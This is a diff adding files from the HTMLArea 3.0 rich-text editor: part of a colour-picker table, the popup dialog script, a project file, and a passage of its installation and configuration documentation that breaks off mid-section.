+<td bgcolor=#99FF00 onMouseOver=View('99FF00') onClick=Set('99FF00') height="10px" width="10px"></td>
+<td bgcolor=#CC0000 onMouseOver=View('CC0000') onClick=Set('CC0000') height="10px" width="10px"></td>
+<td bgcolor=#CC3300 onMouseOver=View('CC3300') onClick=Set('CC3300') height="10px" width="10px"></td>
+<td bgcolor=#CC6600 onMouseOver=View('CC6600') onClick=Set('CC6600') height="10px" width="10px"></td>
+<td bgcolor=#CC9900 onMouseOver=View('CC9900') onClick=Set('CC9900') height="10px" width="10px"></td>
+<td bgcolor=#CCCC00 onMouseOver=View('CCCC00') onClick=Set('CCCC00') height="10px" width="10px"></td>
+<td bgcolor=#CCFF00 onMouseOver=View('CCFF00') onClick=Set('CCFF00') height="10px" width="10px"></td>
+<td bgcolor=#FF0000 onMouseOver=View('FF0000') onClick=Set('FF0000') height="10px" width="10px"></td>
+<td bgcolor=#FF3300 onMouseOver=View('FF3300') onClick=Set('FF3300') height="10px" width="10px"></td>
+<td bgcolor=#FF6600 onMouseOver=View('FF6600') onClick=Set('FF6600') height="10px" width="10px"></td>
+<td bgcolor=#FF9900 onMouseOver=View('FF9900') onClick=Set('FF9900') height="10px" width="10px"></td>
+<td bgcolor=#FFCC00 onMouseOver=View('FFCC00') onClick=Set('FFCC00') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FF00 onMouseOver=View('00FF00') onClick=Set('00FF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990033 onMouseOver=View('990033') onClick=Set('990033') height="10px" width="10px"></td>
+<td bgcolor=#993333 onMouseOver=View('993333') onClick=Set('993333') height="10px" width="10px"></td>
+<td bgcolor=#996633 onMouseOver=View('996633') onClick=Set('996633') height="10px" width="10px"></td>
+<td bgcolor=#999933 onMouseOver=View('999933') onClick=Set('999933') height="10px" width="10px"></td>
+<td bgcolor=#99CC33 onMouseOver=View('99CC33') onClick=Set('99CC33') height="10px" width="10px"></td>
+<td bgcolor=#99FF33 onMouseOver=View('99FF33') onClick=Set('99FF33') height="10px" width="10px"></td>
+<td bgcolor=#CC0033 onMouseOver=View('CC0033') onClick=Set('CC0033') height="10px" width="10px"></td>
+<td bgcolor=#CC3333 onMouseOver=View('CC3333') onClick=Set('CC3333') height="10px" width="10px"></td>
+<td bgcolor=#CC6633 onMouseOver=View('CC6633') onClick=Set('CC6633') height="10px" width="10px"></td>
+<td bgcolor=#CC9933 onMouseOver=View('CC9933') onClick=Set('CC9933') height="10px" width="10px"></td>
+<td bgcolor=#CCCC33 onMouseOver=View('CCCC33') onClick=Set('CCCC33') height="10px" width="10px"></td>
+<td bgcolor=#CCFF33 onMouseOver=View('CCFF33') onClick=Set('CCFF33') height="10px" width="10px"></td>
+<td bgcolor=#FF0033 onMouseOver=View('FF0033') onClick=Set('FF0033') height="10px" width="10px"></td>
+<td bgcolor=#FF3333 onMouseOver=View('FF3333') onClick=Set('FF3333') height="10px" width="10px"></td>
+<td bgcolor=#FF6633 onMouseOver=View('FF6633') onClick=Set('FF6633') height="10px" width="10px"></td>
+<td bgcolor=#FF9933 onMouseOver=View('FF9933') onClick=Set('FF9933') height="10px" width="10px"></td>
+<td bgcolor=#FFCC33 onMouseOver=View('FFCC33') onClick=Set('FFCC33') height="10px" width="10px"></td>
+<td bgcolor=#FFFF33 onMouseOver=View('FFFF33') onClick=Set('FFFF33') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#5b84ab onMouseOver=View('5b84ab') onClick=Set('5b84ab') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990066 onMouseOver=View('990066') onClick=Set('990066') height="10px" width="10px"></td>
+<td bgcolor=#993366 onMouseOver=View('993366') onClick=Set('993366') height="10px" width="10px"></td>
+<td bgcolor=#996666 onMouseOver=View('996666') onClick=Set('996666') height="10px" width="10px"></td>
+<td bgcolor=#999966 onMouseOver=View('999966') onClick=Set('999966') height="10px" width="10px"></td>
+<td bgcolor=#99CC66 onMouseOver=View('99CC66') onClick=Set('99CC66') height="10px" width="10px"></td>
+<td bgcolor=#99FF66 onMouseOver=View('99FF66') onClick=Set('99FF66') height="10px" width="10px"></td>
+<td bgcolor=#CC0066 onMouseOver=View('CC0066') onClick=Set('CC0066') height="10px" width="10px"></td>
+<td bgcolor=#CC3366 onMouseOver=View('CC3366') onClick=Set('CC3366') height="10px" width="10px"></td>
+<td bgcolor=#CC6666 onMouseOver=View('CC6666') onClick=Set('CC6666') height="10px" width="10px"></td>
+<td bgcolor=#CC9966 onMouseOver=View('CC9966') onClick=Set('CC9966') height="10px" width="10px"></td>
+<td bgcolor=#CCCC66 onMouseOver=View('CCCC66') onClick=Set('CCCC66') height="10px" width="10px"></td>
+<td bgcolor=#CCFF66 onMouseOver=View('CCFF66') onClick=Set('CCFF66') height="10px" width="10px"></td>
+<td bgcolor=#FF0066 onMouseOver=View('FF0066') onClick=Set('FF0066') height="10px" width="10px"></td>
+<td bgcolor=#FF3366 onMouseOver=View('FF3366') onClick=Set('FF3366') height="10px" width="10px"></td>
+<td bgcolor=#FF6666 onMouseOver=View('FF6666') onClick=Set('FF6666') height="10px" width="10px"></td>
+<td bgcolor=#FF9966 onMouseOver=View('FF9966') onClick=Set('FF9966') height="10px" width="10px"></td>
+<td bgcolor=#FFCC66 onMouseOver=View('FFCC66') onClick=Set('FFCC66') height="10px" width="10px"></td>
+<td bgcolor=#FFFF66 onMouseOver=View('FFFF66') onClick=Set('FFFF66') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FFFF00 onMouseOver=View('FFFF00') onClick=Set('FFFF00') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#990099 onMouseOver=View('990099') onClick=Set('990099') height="10px" width="10px"></td>
+<td bgcolor=#993399 onMouseOver=View('993399') onClick=Set('993399') height="10px" width="10px"></td>
+<td bgcolor=#996699 onMouseOver=View('996699') onClick=Set('996699') height="10px" width="10px"></td>
+<td bgcolor=#999999 onMouseOver=View('999999') onClick=Set('999999') height="10px" width="10px"></td>
+<td bgcolor=#99CC99 onMouseOver=View('99CC99') onClick=Set('99CC99') height="10px" width="10px"></td>
+<td bgcolor=#99FF99 onMouseOver=View('99FF99') onClick=Set('99FF99') height="10px" width="10px"></td>
+<td bgcolor=#CC0099 onMouseOver=View('CC0099') onClick=Set('CC0099') height="10px" width="10px"></td>
+<td bgcolor=#CC3399 onMouseOver=View('CC3399') onClick=Set('CC3399') height="10px" width="10px"></td>
+<td bgcolor=#CC6699 onMouseOver=View('CC6699') onClick=Set('CC6699') height="10px" width="10px"></td>
+<td bgcolor=#CC9999 onMouseOver=View('CC9999') onClick=Set('CC9999') height="10px" width="10px"></td>
+<td bgcolor=#CCCC99 onMouseOver=View('CCCC99') onClick=Set('CCCC99') height="10px" width="10px"></td>
+<td bgcolor=#CCFF99 onMouseOver=View('CCFF99') onClick=Set('CCFF99') height="10px" width="10px"></td>
+<td bgcolor=#FF0099 onMouseOver=View('FF0099') onClick=Set('FF0099') height="10px" width="10px"></td>
+<td bgcolor=#FF3399 onMouseOver=View('FF3399') onClick=Set('FF3399') height="10px" width="10px"></td>
+<td bgcolor=#FF6699 onMouseOver=View('FF6699') onClick=Set('FF6699') height="10px" width="10px"></td>
+<td bgcolor=#FF9999 onMouseOver=View('FF9999') onClick=Set('FF9999') height="10px" width="10px"></td>
+<td bgcolor=#FFCC99 onMouseOver=View('FFCC99') onClick=Set('FFCC99') height="10px" width="10px"></td>
+<td bgcolor=#FFFF99 onMouseOver=View('FFFF99') onClick=Set('FFFF99') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#00FFFF onMouseOver=View('00FFFF') onClick=Set('00FFFF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900CC onMouseOver=View('9900CC') onClick=Set('9900CC') height="10px" width="10px"></td>
+<td bgcolor=#9933CC onMouseOver=View('9933CC') onClick=Set('9933CC') height="10px" width="10px"></td>
+<td bgcolor=#9966CC onMouseOver=View('9966CC') onClick=Set('9966CC') height="10px" width="10px"></td>
+<td bgcolor=#9999CC onMouseOver=View('9999CC') onClick=Set('9999CC') height="10px" width="10px"></td>
+<td bgcolor=#99CCCC onMouseOver=View('99CCCC') onClick=Set('99CCCC') height="10px" width="10px"></td>
+<td bgcolor=#99FFCC onMouseOver=View('99FFCC') onClick=Set('99FFCC') height="10px" width="10px"></td>
+<td bgcolor=#CC00CC onMouseOver=View('CC00CC') onClick=Set('CC00CC') height="10px" width="10px"></td>
+<td bgcolor=#CC33CC onMouseOver=View('CC33CC') onClick=Set('CC33CC') height="10px" width="10px"></td>
+<td bgcolor=#CC66CC onMouseOver=View('CC66CC') onClick=Set('CC66CC') height="10px" width="10px"></td>
+<td bgcolor=#CC99CC onMouseOver=View('CC99CC') onClick=Set('CC99CC') height="10px" width="10px"></td>
+<td bgcolor=#CCCCCC onMouseOver=View('CCCCCC') onClick=Set('CCCCCC') height="10px" width="10px"></td>
+<td bgcolor=#CCFFCC onMouseOver=View('CCFFCC') onClick=Set('CCFFCC') height="10px" width="10px"></td>
+<td bgcolor=#FF00CC onMouseOver=View('FF00CC') onClick=Set('FF00CC') height="10px" width="10px"></td>
+<td bgcolor=#FF33CC onMouseOver=View('FF33CC') onClick=Set('FF33CC') height="10px" width="10px"></td>
+<td bgcolor=#FF66CC onMouseOver=View('FF66CC') onClick=Set('FF66CC') height="10px" width="10px"></td>
+<td bgcolor=#FF99CC onMouseOver=View('FF99CC') onClick=Set('FF99CC') height="10px" width="10px"></td>
+<td bgcolor=#FFCCCC onMouseOver=View('FFCCCC') onClick=Set('FFCCCC') height="10px" width="10px"></td>
+<td bgcolor=#FFFFCC onMouseOver=View('FFFFCC') onClick=Set('FFFFCC') height="10px" width="10px"></td>
+</tr>
+<tr>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#000000 onMouseOver=View('000000') onClick=Set('000000') height="10px" width="10px"></td>
+<td bgcolor=#9900FF onMouseOver=View('9900FF') onClick=Set('9900FF') height="10px" width="10px"></td>
+<td bgcolor=#9933FF onMouseOver=View('9933FF') onClick=Set('9933FF') height="10px" width="10px"></td>
+<td bgcolor=#9966FF onMouseOver=View('9966FF') onClick=Set('9966FF') height="10px" width="10px"></td>
+<td bgcolor=#9999FF onMouseOver=View('9999FF') onClick=Set('9999FF') height="10px" width="10px"></td>
+<td bgcolor=#99CCFF onMouseOver=View('99CCFF') onClick=Set('99CCFF') height="10px" width="10px"></td>
+<td bgcolor=#99FFFF onMouseOver=View('99FFFF') onClick=Set('99FFFF') height="10px" width="10px"></td>
+<td bgcolor=#CC00FF onMouseOver=View('CC00FF') onClick=Set('CC00FF') height="10px" width="10px"></td>
+<td bgcolor=#CC33FF onMouseOver=View('CC33FF') onClick=Set('CC33FF') height="10px" width="10px"></td>
+<td bgcolor=#CC66FF onMouseOver=View('CC66FF') onClick=Set('CC66FF') height="10px" width="10px"></td>
+<td bgcolor=#CC99FF onMouseOver=View('CC99FF') onClick=Set('CC99FF') height="10px" width="10px"></td>
+<td bgcolor=#CCCCFF onMouseOver=View('CCCCFF') onClick=Set('CCCCFF') height="10px" width="10px"></td>
+<td bgcolor=#CCFFFF onMouseOver=View('CCFFFF') onClick=Set('CCFFFF') height="10px" width="10px"></td>
+<td bgcolor=#FF00FF onMouseOver=View('FF00FF') onClick=Set('FF00FF') height="10px" width="10px"></td>
+<td bgcolor=#FF33FF onMouseOver=View('FF33FF') onClick=Set('FF33FF') height="10px" width="10px"></td>
+<td bgcolor=#FF66FF onMouseOver=View('FF66FF') onClick=Set('FF66FF') height="10px" width="10px"></td>
+<td bgcolor=#FF99FF onMouseOver=View('FF99FF') onClick=Set('FF99FF') height="10px" width="10px"></td>
+<td bgcolor=#FFCCFF onMouseOver=View('FFCCFF') onClick=Set('FFCCFF') height="10px" width="10px"></td>
+<td bgcolor=#FFFFFF onMouseOver=View('FFFFFF') onClick=Set('FFFFFF') height="10px" width="10px"></td>
+</tr>
+</table>
+
+</body></html>
--- /dev/null
+// (c) dynarch.com 2003-2004
+// Distributed under the same terms as HTMLArea itself.
+
+function PopupWin(editor, title, handler, initFunction) {
+ this.editor = editor;
+ this.handler = handler;
+ var dlg = window.open("", "__ha_dialog",
+ "toolbar=no,menubar=no,personalbar=no,width=600,height=600,left=20,top=40" +
+ "scrollbars=no,resizable=no");
+ this.window = dlg;
+ var doc = dlg.document;
+ this.doc = doc;
+ var self = this;
+
+ var base = document.baseURI || document.URL;
+ if (base && base.match(/(.*)\/([^\/]+)/)) {
+ base = RegExp.$1 + "/";
+ }
+ if (typeof _editor_url != "undefined" && !/^\//.test(_editor_url)) {
+ // _editor_url doesn't start with '/' which means it's relative
+ // FIXME: there's a problem here, it could be http:// which
+ // doesn't start with slash but it's not relative either.
+ base += _editor_url;
+ } else
+ base = _editor_url;
+ if (!/\/$/.test(base)) {
+ // base does not end in slash, add it now
+ base += '/';
+ }
+ this.baseURL = base;
+
+ doc.open();
+ var html = "<html><head><title>" + title + "</title>\n";
+ // html += "<base href='" + base + "htmlarea.js' />\n";
+ html += "<style type='text/css'>@import url(" + base + "htmlarea.css);</style></head>\n";
+ html += "<body class='dialog popupwin' id='--HA-body'></body></html>";
+ doc.write(html);
+ doc.close();
+
+ // sometimes I Hate Mozilla... ;-(
+ function init2() {
+ var body = doc.body;
+ if (!body) {
+ setTimeout(init2, 25);
+ return false;
+ }
+ dlg.title = title;
+ doc.documentElement.style.padding = "0px";
+ doc.documentElement.style.margin = "0px";
+ var content = doc.createElement("div");
+ content.className = "content";
+ self.content = content;
+ body.appendChild(content);
+ self.element = body;
+ initFunction(self);
+ dlg.focus();
+ };
+ init2();
+};
+
+PopupWin.prototype.callHandler = function() {
+ var tags = ["input", "textarea", "select"];
+ var params = new Object();
+ for (var ti in tags) {
+ var tag = tags[ti];
+ var els = this.content.getElementsByTagName(tag);
+ for (var j = 0; j < els.length; ++j) {
+ var el = els[j];
+ var val = el.value;
+ if (el.tagName.toLowerCase() == "input") {
+ if (el.type == "checkbox") {
+ val = el.checked;
+ }
+ }
+ params[el.name] = val;
+ }
+ }
+ this.handler(this, params);
+ return false;
+};
+
+PopupWin.prototype.close = function() {
+ this.window.close();
+};
+
+PopupWin.prototype.addButtons = function() {
+ var self = this;
+ var div = this.doc.createElement("div");
+ this.content.appendChild(div);
+ div.className = "buttons";
+ for (var i = 0; i < arguments.length; ++i) {
+ var btn = arguments[i];
+ var button = this.doc.createElement("button");
+ div.appendChild(button);
+ button.innerHTML = HTMLArea.I18N.buttons[btn];
+ switch (btn) {
+ case "ok":
+ button.onclick = function() {
+ self.callHandler();
+ self.close();
+ return false;
+ };
+ break;
+ case "cancel":
+ button.onclick = function() {
+ self.close();
+ return false;
+ };
+ break;
+ }
+ }
+};
+
+PopupWin.prototype.showAtElement = function() {
+ var self = this;
+ // Mozilla needs some time to realize what's goin' on..
+ setTimeout(function() {
+ var w = self.content.offsetWidth + 4;
+ var h = self.content.offsetHeight + 4;
+ // size to content -- that's fuckin' buggy in all fuckin' browsers!!!
+ // so that we set a larger size for the dialog window and then center
+ // the element inside... phuck!
+
+ // center...
+ var el = self.content;
+ var s = el.style;
+ // s.width = el.offsetWidth + "px";
+ // s.height = el.offsetHeight + "px";
+ s.position = "absolute";
+ s.left = (w - el.offsetWidth) / 2 + "px";
+ s.top = (h - el.offsetHeight) / 2 + "px";
+ if (HTMLArea.is_gecko) {
+ self.window.innerWidth = w;
+ self.window.innerHeight = h;
+ } else {
+ self.window.resizeTo(w + 8, h + 35);
+ }
+ }, 25);
+};
--- /dev/null
+<project title="HTMLArea">
+ <version>3.0</version>
+ <release>rc1</release>
+</project>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html> <head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>HTMLArea-3.0 Reference</title>
+
+<style type="text/css">
+ @import url(htmlarea.css);
+ body { font: 14px verdana,sans-serif; background: #fff; color: #000; }
+ h1, h2 { font-family:tahoma,sans-serif; }
+ h1 { border-bottom: 2px solid #000; }
+ h2 { border-bottom: 1px solid #aaa; }
+ h3, h4 { margin-bottom: 0px; font-family: Georgia,serif; font-style: italic; }
+ h4 { font-size: 90%; margin-left: 1em; }
+ acronym { border-bottom: 1px dotted #063; color: #063; }
+ p { margin-left: 2em; margin-top: 0.3em; }
+ li p { margin-left: 0px; }
+ .abstract { padding: 5px; margin: 0px 10em; font-size: 90%; border: 1px dashed #aaa; background: #eee;}
+ li { margin-left: 2em; }
+ em { color: #042; }
+ a { color: #00f; }
+ a:hover { color: #f00; }
+ a:active { color: #f80; }
+ span.browser { font-weight: bold; color: #864; }
+ .fixme { font-size: 20px; font-weight: bold; color: red; background: #fab;
+padding: 5px; text-align: center; }
+ .code {
+ background: #e4efff; padding: 5px; border: 1px dashed #abc; margin-left: 2em; margin-right: 2em;
+ font-family: fixed,"lucidux mono","andale mono","courier new",monospace;
+ }
+ .note, .warning { font-weight: bold; color: #0a0; font-variant: small-caps; }
+ .warning { color: #a00; }
+
+.string {
+ color: #06c;
+} /* font-lock-string-face */
+.comment {
+ color: #840;
+} /* font-lock-comment-face */
+.variable-name {
+ color: #000;
+} /* font-lock-variable-name-face */
+.type {
+ color: #008;
+ font-weight: bold;
+} /* font-lock-type-face */
+.reference {
+ color: #048;
+} /* font-lock-reference-face */
+.preprocessor {
+ color: #808;
+} /* font-lock-preprocessor-face */
+.keyword {
+ color: #00f;
+ font-weight: bold;
+} /* font-lock-keyword-face */
+.function-name {
+ color: #044;
+} /* font-lock-function-name-face */
+.html-tag {
+ font-weight: bold;
+} /* html-tag-face */
+.html-helper-italic {
+ font-style: italic;
+} /* html-helper-italic-face */
+.html-helper-bold {
+ font-weight: bold;
+} /* html-helper-bold-face */
+
+</style>
+
+<script type="text/javascript">
+ _editor_url = './';
+ _editor_lang = 'en';
+</script>
+<script type="text/javascript" src="htmlarea.js"></script>
+<script type="text/javascript" src="dialog.js"></script>
+<script tyle="text/javascript" src="lang/en.js"></script>
+
+</head>
+
+<body onload="HTMLArea.replace('TA')">
+
+
+<h1>HTMLArea-3.0 Documentation</h1>
+
+<div class="abstract" style="color: red; font-weight: bold">
+
+ This documentation contains valid information, but is outdated in the
+ terms that it does not covers all the features of HTMLArea. A new
+ documentation project will be started, based on LaTeX.
+
+</div>
+
+
+<h2>Introduction</h2>
+
+<h3>What is HTMLArea?</h3>
+
+<p>HTMLArea is a free <acronym title="What You See Is What You Get"
+>WYSIWYG</acronym> editor replacement for <code><textarea></code>
+fields. By adding a few simple lines of JavaScript code to your web page
+you can replace a regular textarea with a rich text editor that lets your
+users do the following:</p>
+
+<ul>
+ <li>Format text to be bold, italicized, or underlined.</li>
+ <li>Change the face, size, style and color.</li>
+ <li>Left, center, or right-justify paragraphs.</li>
+ <li>Make bulleted or numbered lists.</li>
+ <li>Indent or un-indent paragraphs.</li>
+ <li>Insert a horizontal line.</li>
+ <li>Insert hyperlinks and images.</li>
+ <li>View the raw HTML source of what they're editing.</li>
+ <li>and much more...</li>
+</ul>
+
+<p>Some of the interesting features of HTMLArea that set's it apart from
+other web based WYSIWYG editors are as follows:</p>
+
+<ul>
+ <li>It's lightweight, fast loading and can transform a regular textarea
+ into a rich-text editor with a single line of JavaScript.</li>
+ <li>Generates clean, valid HTML.</li>
+ <li>It degrades gracefully to older or non-supported browsers
+ (they get the original textarea field).</li>
+ <li>It's free and can be incorporated into any free or commercial
+ program.</li>
+ <li>It works with any server-side languages (ASP, PHP, Perl, Java,
+ etc).</li>
+ <li>It's written in JavaScript and can be easily viewed, modified or
+ extended.</li>
+ <li>It remembers entered content when a user navigates away and then hits
+ "back" in their browser.</li>
+ <li>Since it replaces existing textareas it doesn't require a lot of code
+ to add it to your pages (just one line).</li>
+ <li>Did we mention it was free? ;-)</li>
+</ul>
+
+<h3>Is it really free? What's the catch?</h3>
+
+<p>Yes! It's really free. You can use it, modify it, distribute it with your
+software, or do just about anything you like with it.</p>
+
+<h3>What are the browser requirements?</h3>
+
+<p>HTMLArea requires <span class="browser"><a
+href="http://www.microsoft.com/ie">Internet Explorer</a> >= 5.5</span>
+(Windows only), or <span class="browser"><a
+href="http://mozilla.org">Mozilla</a> >= 1.3-Beta</span> on any platform.
+Any browser based on <a href="http://mozilla.org/newlayout">Gecko</a> will
+also work, provided that Gecko version is at least the one included in
+Mozilla-1.3-Beta (for example, <a
+href="http://galeon.sf.net">Galeon-1.2.8</a>). However, it degrades
+gracefully to other browsers. They will get a regular textarea field
+instead of a WYSIWYG editor.</p>
+
+<h3>Can I see an example of what it looks like?</h3>
+
+<p>Just make sure you're using one of the browsers mentioned above and see
+below.</p>
+
+<form onsubmit="return false;">
+<textarea id="TA" style="width: 100%; height: 15em;">
+<p>Here is some sample text in textarea that's been transformed with <font
+color="#0000CC"><b>HTMLArea</b></font>.<br />
+You can make things <b>bold</b>, <i>italic</i>, <u>underline</u>. You can change the
+<font size="3">size</font> and <b><font color="#0000CC">c</font><font color="#00CC00">o</font><font color="#00CCCC">l</font><font color="#CC0000">o</font><font color="#CC00CC">r</font><font color="#CCCC00">s</font><font color="#CCCCCC">!</font></b>
+And lots more...</p>
+
+<p align="center"><font size="4" color="#ff0000"><b><u>Try HTMLArea
+today!</u></b></font><br /></p>
+</textarea>
+</form>
+
+<h3>Where can I find out more info, download the latest version and talk to
+other HTMLArea users?</h3>
+
+<p>You can find out more about HTMLArea and download the latest version on
+the <a href="http://dynarch.com/htmlarea/">HTMLArea
+homepage</a> and you can talk to other HTMLArea users and post any comments
+or suggestions you have in the <a
+href="http://www.interactivetools.com/iforum/Open_Source_C3/htmlArea_v3.0_-_Alpha_Release_F14/"
+>HTMLArea forum</a>.</p>
+
+<h2>Keyboard shortcuts</h2>
+
+<p>The editor provides the following key combinations:</p>
+
+<ul>
+ <li>CTRL-A -- select all</li>
+ <li>CTRL-B -- bold</li>
+ <li>CTRL-I -- italic</li>
+ <li>CTRL-U -- underline</li>
+ <li>CTRL-S -- strikethrough</li>
+ <li>CTRL-L -- justify left</li>
+ <li>CTRL-E -- justify center</li>
+ <li>CTRL-R -- justify right</li>
+ <li>CTRL-J -- justify full</li>
+ <li>CTRL-1 .. CTRL-6 -- headings (<h1> .. <h6>)</li>
+ <li>CTRL-0 (zero) -- clean content pasted from Word</li>
+</ul>
+
+<h2>Installation</h2>
+
+<h3>How do I add HTMLArea to my web page?</h3>
+
+<p>It's easy. First you need to upload HTMLArea files to your website.
+Just follow these steps.</p>
+
+<ol>
+ <li>Download the latest version from the <a
+ href="http://www.interactivetools.com/products/htmlarea/">htmlArea
+ homepage</a>.</li>
+ <li>Unzip the files onto your local computer (making sure to maintain the
+ directory structure contained in the zip).</li>
+ <li>Create a new folder on your website called /htmlarea/ (make sure it's
+ NOT inside the cgi-bin).</li>
+ <li>Transfer all the HTMLArea files from your local computer into the
+ /htmlarea/ folder on your website.</li>
+ <li>Open the example page /htmlarea/examples/core.html with your browser to make
+ sure everything works.</li>
+</ol>
+
+<p>Once htmlArea is on your website all you need to do is add some
+JavaScript to any pages that you want to add WYSIWYG editors to. Here's how
+to do that.</p>
+
+<ol>
+
+ <li>Define some global variables. "_editor_url" has to be the absolute
+ URL where HTMLArea resides within your
+ website; as we discussed, this would be “/htmlarea/”. "_editor_lang" must
+ be the language code in which you want HTMLArea to appear. This defaults
+ to "en" (English); for a list of supported languages, please look into
+ the "lang" subdirectory in the distribution.
+ <pre class="code"
+ ><span class="function-name"><</span><span class="html-tag">script</span> <span class="variable-name">type=</span><span class="string">"text/javascript"</span><span class="function-name">></span>
+ _editor_url = <span class="string">"/htmlarea/"</span>;
+ _editor_lang = <span class="string">"en"</span>;
+<span class="function-name"><</span><span class="html-tag">/script</span><span class="function-name">></span></pre>
+
+ <li>Include the "htmlarea.js" script:
+ <pre class="code"
+ ><span class="function-name"><</span><span class="html-tag">script</span> <span class="variable-name">type=</span><span class="string">"text/javascript"</span> <span class="variable-name">src=</span><span class="string">"/htmlarea/htmlarea.js"</span><span class="function-name">></span><span class="paren-face-match"><</span><span class="html-tag">/script</span><span class="paren-face-match">></span></pre>
+ </li>
+
+ <li><p>If you want to change all your <textarea>-s into
+ HTMLArea-s then you can use the simplest way to create HTMLArea:</p>
+ <pre class="code"
+ ><span class="function-name"><</span><span class="html-tag">script</span> <span class="variable-name">type=</span><span class="string">"text/javascript"</span> <span class="variable-name">defer=</span><span class="string">"1"</span><span class="function-name">></span>
+ HTMLArea.replaceAll<span class="function-name">()</span>;
+<span class="paren-face-match"><</span><span class="html-tag">/script</span><span class="paren-face-match">></span></pre>
+ <p><span class="note">Note:</span> you can also add the
+ <code>HTMLArea.replaceAll()</code> code to the <code>onload</code>
+ event handler for the <code>body</code> element, if you find it more appropriate.</p>
+
+ <p>A different approach, if you have more than one textarea and only want
+ to change one of them, is to use <code>HTMLArea.replace("id")</code> --
+ pass the <code>id</code> of your textarea. Do not use the
+ <code>name</code> attribute anymore, it's not a standard solution!</p>
+
+</ol>
+
+<p>This section applies to HTMLArea-3.0 release candidate 1 or later; prior
+to this version, one needed to include more files; however, now HTMLArea is
+able to include other files too (such as stylesheet, language definition
+file, etc.) so you only need to define the editor path and load
+"htmlarea.js". Nice, eh? ;-)</p>
+
+<h3>I want to change the editor settings, how do I do that?</h3>
+
+<p>While it's true that all you need is one line of JavaScript to create an
+htmlArea WYSIWYG editor, you can also specify more config settings in the
+code to control how the editor works and looks. Here's an example of some of
+the available settings:</p>
+
+<pre class="code"
+><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config(); <span class="comment">// create a new configuration object
+</span> <span class="comment">// having all the default values
+</span>config.width = '<span class="string">90%</span>';
+config.height = '<span class="string">200px</span>';
+
+<span class="comment">// the following sets a style for the page body (black text on yellow page)
+// and makes all paragraphs be bold by default
+</span>config.pageStyle =
+ '<span class="string">body { background-color: yellow; color: black; font-family: verdana,sans-serif } </span>' +
+ '<span class="string">p { font-width: bold; } </span>';
+
+<span class="comment">// the following replaces the textarea with the given id with a new
+// HTMLArea object having the specified configuration
+</span>HTMLArea.replace('<span class="string">id</span>', config);</pre>
+
+<p><span class="warning">Important:</span> It's recommended that you add
+custom features and configuration to a separate file. This will ensure you
+that when we release a new official version of HTMLArea you'll have less
+trouble upgrading it.</p>
+
+<h3>How do I customize the toolbar?</h3>
+
+<p>Using the configuration object introduced above allows you to completely
+control what the toolbar contains. Following is an example of a one-line,
+customized toolbar, much simpler than the default one:</p>
+
+<pre class="code"
+><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+config.toolbar = [
+ ['<span class="string">fontname</span>', '<span class="string">space</span>',
+ '<span class="string">fontsize</span>', '<span class="string">space</span>',
+ '<span class="string">formatblock</span>', '<span class="string">space</span>',
+ '<span class="string">bold</span>', '<span class="string">italic</span>', '<span class="string">underline</span>']
+];
+HTMLArea.replace('<span class="string">id</span>', config);</pre>
+
+<p>The toolbar is an Array of Array objects. Each array in the toolbar
+defines a new line. The default toolbar looks like this:</p>
+
+<pre class="code"
+>config.toolbar = [
+[ "<span class="string">fontname</span>", "<span class="string">space</span>",
+ "<span class="string">fontsize</span>", "<span class="string">space</span>",
+ "<span class="string">formatblock</span>", "<span class="string">space</span>",
+ "<span class="string">bold</span>", "<span class="string">italic</span>", "<span class="string">underline</span>", "<span class="string">separator</span>",
+ "<span class="string">strikethrough</span>", "<span class="string">subscript</span>", "<span class="string">superscript</span>", "<span class="string">separator</span>",
+ "<span class="string">copy</span>", "<span class="string">cut</span>", "<span class="string">paste</span>", "<span class="string">space</span>", "<span class="string">undo</span>", "<span class="string">redo</span>" ],
+
+[ "<span class="string">justifyleft</span>", "<span class="string">justifycenter</span>", "<span class="string">justifyright</span>", "<span class="string">justifyfull</span>", "<span class="string">separator</span>",
+ "<span class="string">insertorderedlist</span>", "<span class="string">insertunorderedlist</span>", "<span class="string">outdent</span>", "<span class="string">indent</span>", "<span class="string">separator</span>",
+ "<span class="string">forecolor</span>", "<span class="string">hilitecolor</span>", "<span class="string">textindicator</span>", "<span class="string">separator</span>",
+ "<span class="string">inserthorizontalrule</span>", "<span class="string">createlink</span>", "<span class="string">insertimage</span>", "<span class="string">inserttable</span>", "<span class="string">htmlmode</span>", "<span class="string">separator</span>",
+ "<span class="string">popupeditor</span>", "<span class="string">separator</span>", "<span class="string">showhelp</span>", "<span class="string">about</span>" ]
+];</pre>
+
+<p>Except three strings, all others in the examples above need to be defined
+in the <code>config.btnList</code> object (detailed a bit later in this
+document). The three exceptions are: 'space', 'separator' and 'linebreak'.
+These three have the following meaning, and need not be present in
+<code>btnList</code>:</p>
+
